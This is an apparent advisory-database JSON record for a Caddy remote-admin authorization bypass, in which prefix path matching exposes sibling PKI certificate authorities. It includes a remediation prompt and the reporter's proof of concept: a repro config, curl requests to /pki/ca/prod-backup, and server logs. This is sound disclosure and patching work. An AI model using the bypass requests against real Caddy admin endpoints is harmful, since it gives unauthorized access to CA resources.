{"answers":{"affected":"3 open source packages ship an affected version, including github.com/caddyserver/caddy/v2.","exploited":"There is no known exploitation of GHSA-gx7w-56w6-g48x in the wild and no public exploit code.","fix":"Upgrade github.com/caddyserver/caddy/v2 to 2.11.3 or later.","what":"GHSA-gx7w-56w6-g48x is an authentication bypass vulnerability in github.com/caddyserver/caddy/v2, published on 19 May 2026. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-gx7w-56w6-g48x and fix it if it is affected.\n\nWhat it is: GHSA-gx7w-56w6-g48x is an authentication bypass vulnerability in github.com/caddyserver/caddy/v2, published on 19 May 2026. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-gx7w-56w6-g48x in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- github.com/caddyserver/caddy/v2 (Go): affected all versions; fixed in 2.11.3\n- github.com/caddyserver/caddy/v2 (Go): affected all versions; fixed in 2.11.3\n- github.com/caddyserver/caddy/v2 (Go): affected all versions; fixed in 2.11.3\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-gx7w-56w6-g48x/ (Markdown: https://insights.sbomify.com/GHSA-gx7w-56w6-g48x/index.md)","id":"GHSA-gx7w-56w6-g48x","markdown":"https://insights.sbomify.com/GHSA-gx7w-56w6-g48x/index.md","name":"GHSA-gx7w-56w6-g48x","record":{"aliases":["GO-2026-5408"],"analysis":{"component_type":"server_software","fix_type":"patch","impacts":["security_bypass","data_read"],"network_reachable":"yes","non_default_config":true,"product_category":"Caddy web server","requires_auth":"low_privilege","summary":"Attackers with limited admin certificates can bypass path restrictions to access unauthorized PKI resources due to flawed prefix matching.","user_interaction":"not_required","vuln_class":"auth_bypass"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"## AI Disclosure\n\n  I used an LLM to help review the source code, reason about attack surface, and help draft and refine this report.\n  I manually validated the finding by reproducing it locally, confirming the vulnerable code path, and verifying the HTTP behavior with `curl -v`.\n\n  ## Summary\n\n  Caddy's remote admin access control performs path authorization using prefix matching:\n\n  - [`admin.go`](/caddy/admin.go#L719): `strings.HasPrefix(r.URL.Path, allowedPath)`\n\n  This allows a client certificate authorized only for `/pki/ca/prod` to access sibling PKI resources whose paths merely share the same prefix, such as `/pki/ca/prod-backup`.\n\n  This is an authorization bug in Caddy's source code, not a misconfiguration issue. The configured policy is more restrictive than the behavior that Caddy actually enforces.\n\n  ## Affected Component\n\n  Remote admin access control for PKI admin endpoints.\n\n  Relevant code:\n\n  - [`admin.go`](/caddy/admin.go#L687)\n  - [`admin.go`](/caddy/admin.go#L719)\n  - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L68)\n  - [`modules/caddypki/adminapi.go`](/caddy/modules/caddypki/adminapi.go#L164)\n\n  ## Root Cause\n\n  In `RemoteAdmin.enforceAccessControls()`, allowed paths are checked like this:\n\n  ```go\n  for _, allowedPath := range accessPerm.Paths {\n  \tif strings.HasPrefix(r.URL.Path, allowedPath) {\n  \t\tpathFound = true\n  \t\tbreak\n  \t}\n  }\n```\n\n  This does not enforce a path-segment boundary.\n\n  So if the allowed path is:\n\n  /pki/ca/prod\n\n  then all of the following are treated as authorized:\n\n  - /pki/ca/prod-backup\n  - /pki/ca/prod1\n  - /pki/ca/prodanything\n\n  For PKI admin endpoints, the CA ID is taken directly from the request path:\n\n  - modules/caddypki/adminapi.go:164\n\n  So /pki/ca/prod-backup is interpreted as CA ID prod-backup, even though only /pki/ca/prod was intended to be allowed.\n\n  ## Security Impact\n\n  A remote admin client certificate restricted to one PKI CA path can access other CA resources with the same prefix.\n\n  This breaks least-privilege remote admin policies and results in authenticated authorization bypass.\n\n  ## Minimal Configuration\n\n  File: repro.json\n```\n  {\n    \"admin\": {\n      \"listen\": \"127.0.0.1:2019\",\n      \"identity\": {\n        \"identifiers\": [\"localhost\"],\n        \"issuers\": [\n          { \"module\": \"internal\" }\n        ]\n      },\n      \"remote\": {\n        \"listen\": \"127.0.0.1:2021\",\n        \"access_control\": [\n          {\n            \"public_keys\": [\"\u003cCLIENT_CERT_BASE64_DER\u003e\"],\n            \"permissions\": [\n              {\n                \"methods\": [\"GET\"],\n                \"paths\": [\"/pki/ca/prod\"]\n              }\n            ]\n          }\n        ]\n      }\n    },\n    \"apps\": {\n      \"pki\": {\n        \"certificate_authorities\": {\n          \"prod\": {\n            \"name\": \"prod\"\n          },\n          \"prod-backup\": {\n            \"name\": \"prod-backup\"\n          }\n        }\n      }\n    }\n  }\n\n```\n  ## Reproduction Steps From Scratch\n\n  ### 1. Generate a client certificate\n```\n  openssl req -x509 -newkey rsa:2048 -nodes -days 365 \\\n    -subj '/CN=remote-admin-client' \\\n    -keyout client.key \\\n    -out client.crt\n\n```\n\n  ### 2. Convert the client certificate to base64 DER\n\n  CLIENT_CERT_B64=\"$(openssl x509 -in client.crt -outform der | base64 | tr -d '\\n')\"\n\n  ### 3. Put that value into repro.json\n\n  Replace:\n\n  \u003cCLIENT_CERT_BASE64_DER\u003e\n\n  with the value of CLIENT_CERT_B64.\n\n  ### 4. Run Caddy\n\n  go run ./cmd/caddy run --config ./repro.json\n\n  ### 5. Confirm access to the intended allowed path\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod\n```\n  Expected result:\n\n  - HTTP/1.1 200 OK\n\n  ### 6. Request a different CA whose path shares the same prefix\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod-backup\n```\n  Expected secure behavior:\n\n  - HTTP/1.1 403 Forbidden\n\n  Actual behavior:\n\n  - HTTP/1.1 200 OK\n\n  ## Precise HTTP Requests and Output\n\n  ### Allowed path\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod\n```\n  Response excerpt:\n```\n  \u003e GET /pki/ca/prod HTTP/1.1\n  \u003e Host: localhost:2021\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003e\n  \u003c HTTP/1.1 200 OK\n  \u003c Content-Type: application/json\n```\n  ### Unauthorized sibling path that is incorrectly allowed\n```\n  curl -vk \\\n    --resolve localhost:2021:127.0.0.1 \\\n    --cert ./client.crt \\\n    --key ./client.key \\\n    https://localhost:2021/pki/ca/prod-backup\n```\n  Response excerpt:\n```\n  \u003e GET /pki/ca/prod-backup HTTP/1.1\n  \u003e Host: localhost:2021\n  \u003e User-Agent: curl/8.5.0\n  \u003e Accept: */*\n  \u003e\n  \u003c HTTP/1.1 200 OK\n  \u003c Content-Type: application/json\n```\n  The body returned CA information for prod-backup, despite the configured permission only allowing /pki/ca/prod.\n\n  ## Full Log Output\n\nsever :\n```\nroot@dbdd95a60758:/caddy# go run ./cmd/caddy run --config /caddy/repro.json\n2026/03/19 13:58:13.747\tINFO\tmaxprocs: Leaving GOMAXPROCS=16: CPU quota undefined\n2026/03/19 13:58:13.747\tINFO\tGOMEMLIMIT is updated\t{\"GOMEMLIMIT\": 26273105510, \"previous\": 9223372036854775807}\n2026/03/19 13:58:13.747\tINFO\tusing config from file\t{\"file\": \"/caddy/repro.json\"}\n2026/03/19 13:58:13.757\tINFO\tadmin\tadmin endpoint started\t{\"address\": \"127.0.0.1:2019\", \"enforce_origin\": false, \"origins\": [\"//localhost:2019\", \"//[::1]:2019\", \"//127.0.0.1:2019\"]}\n2026/03/19 13:58:13.757\tWARN\tpki.ca.prod\tinstalling root certificate (you might be prompted for password)\t{\"path\": \"storage:pki/authorities/prod/root.crt\"}\n2026/03/19 13:58:13.757\tINFO\twarning: \"certutil\" is not available, install \"certutil\" with \"apt install libnss3-tools\" or \"yum install nss-tools\" and try again\n2026/03/19 13:58:13.757\tINFO\tdefine JAVA_HOME environment variable to use the Java trust\n2026/03/19 13:58:14.406\tINFO\tcertificate installed properly in linux trusts\n2026/03/19 13:58:14.406\tWARN\tpki.ca.prod-backup\tinstalling root certificate (you might be prompted for password)\t{\"path\": \"storage:pki/authorities/prod-backup/root.crt\"}\n2026/03/19 13:58:14.407\tINFO\twarning: \"certutil\" is not available, install \"certutil\" with \"apt install libnss3-tools\" or \"yum install nss-tools\" and try again\n2026/03/19 13:58:14.407\tINFO\tdefine JAVA_HOME environment variable to use the Java trust\n2026/03/19 13:58:15.038\tINFO\tcertificate installed properly in linux trusts\n2026/03/19 13:58:15.045\tINFO\tadmin.identity.cache.maintenance\tstarted background certificate maintenance\t{\"cache\": \"0xc0006a4480\"}\n2026/03/19 13:58:15.046\tINFO\tadmin.remote\tsecure admin remote control endpoint started\t{\"address\": \"127.0.0.1:2021\"}\n2026/03/19 13:58:15.046\tINFO\tadmin.identity.obtain\tacquiring lock\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.046\tINFO\tautosaved config (load with --resume flag)\t{\"file\": \"/root/.config/caddy/autosave.json\"}\n2026/03/19 13:58:15.046\tINFO\tserving initial configuration\n2026/03/19 13:58:15.047\tINFO\tadmin.identity.obtain\tlock acquired\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.047\tINFO\tadmin.identity.obtain\tobtaining certificate\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.049\tINFO\tadmin.identity.obtain\tcertificate obtained successfully\t{\"identifier\": \"localhost\", \"issuer\": \"local\"}\n2026/03/19 13:58:15.049\tINFO\tadmin.identity.obtain\treleasing lock\t{\"identifier\": \"localhost\"}\n2026/03/19 13:58:15.050\tWARN\tadmin.identity\tstapling OCSP\t{\"identifiers\": [\"localhost\"]}\n2026/03/19 13:59:36.896\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"40728\", \"headers\": {\"Accept\":[\"*/*\"],\"User-Agent\":[\"curl/8.5.0\"]}, \"secure\": true, \"verified_chains\": 1}\n2026/03/19 14:00:24.102\tINFO\tadmin.api\treceived request\t{\"method\": \"GET\", \"host\": \"localhost:2021\", \"uri\": \"/pki/ca/prod-backup\", \"remote_ip\": \"127.0.0.1\", \"remote_port\": \"60490\", \"headers\"","ecosystems":["Go"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":true,"headline":"Caddy: Remote Admin Authorization Bypass on PKI Endpoints via Prefix-Based Path Matching","id":"GHSA-gx7w-56w6-g48x","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"Go","product":null,"products":[],"type":"auth_bypass","year":"2026"},"n_packages":3,"n_references":null,"packages":[{"ecosystem":"Go","fixed":["2.11.3"],"introduced":["0"],"last_affected":[],"package":"github.com/caddyserver/caddy/v2","purl":null,"source":"GHSA-gx7w-56w6-g48x"},{"ecosystem":"Go","fixed":["2.11.3"],"introduced":["0"],"last_affected":[],"package":"github.com/caddyserver/caddy/v2","purl":"pkg:golang/github.com/caddyserver/caddy/v2","source":"GHSA-gx7w-56w6-g48x"},{"ecosystem":"Go","fixed":["2.11.3"],"introduced":["0"],"last_affected":[],"package":"github.com/caddyserver/caddy/v2","purl":"pkg:golang/github.com/caddyserver/caddy/v2","source":"GO-2026-5408"}],"products":null,"published":"2026-05-19","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"},{"class":"attribution","licence":"CC BY 4.0","name":"Go Vulnerability Database","prefix":"GO"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"Attackers with limited admin certificates can bypass path restrictions to access unauthorized PKI resources due to flawed prefix matching.","url":"https://insights.sbomify.com/GHSA-gx7w-56w6-g48x/"}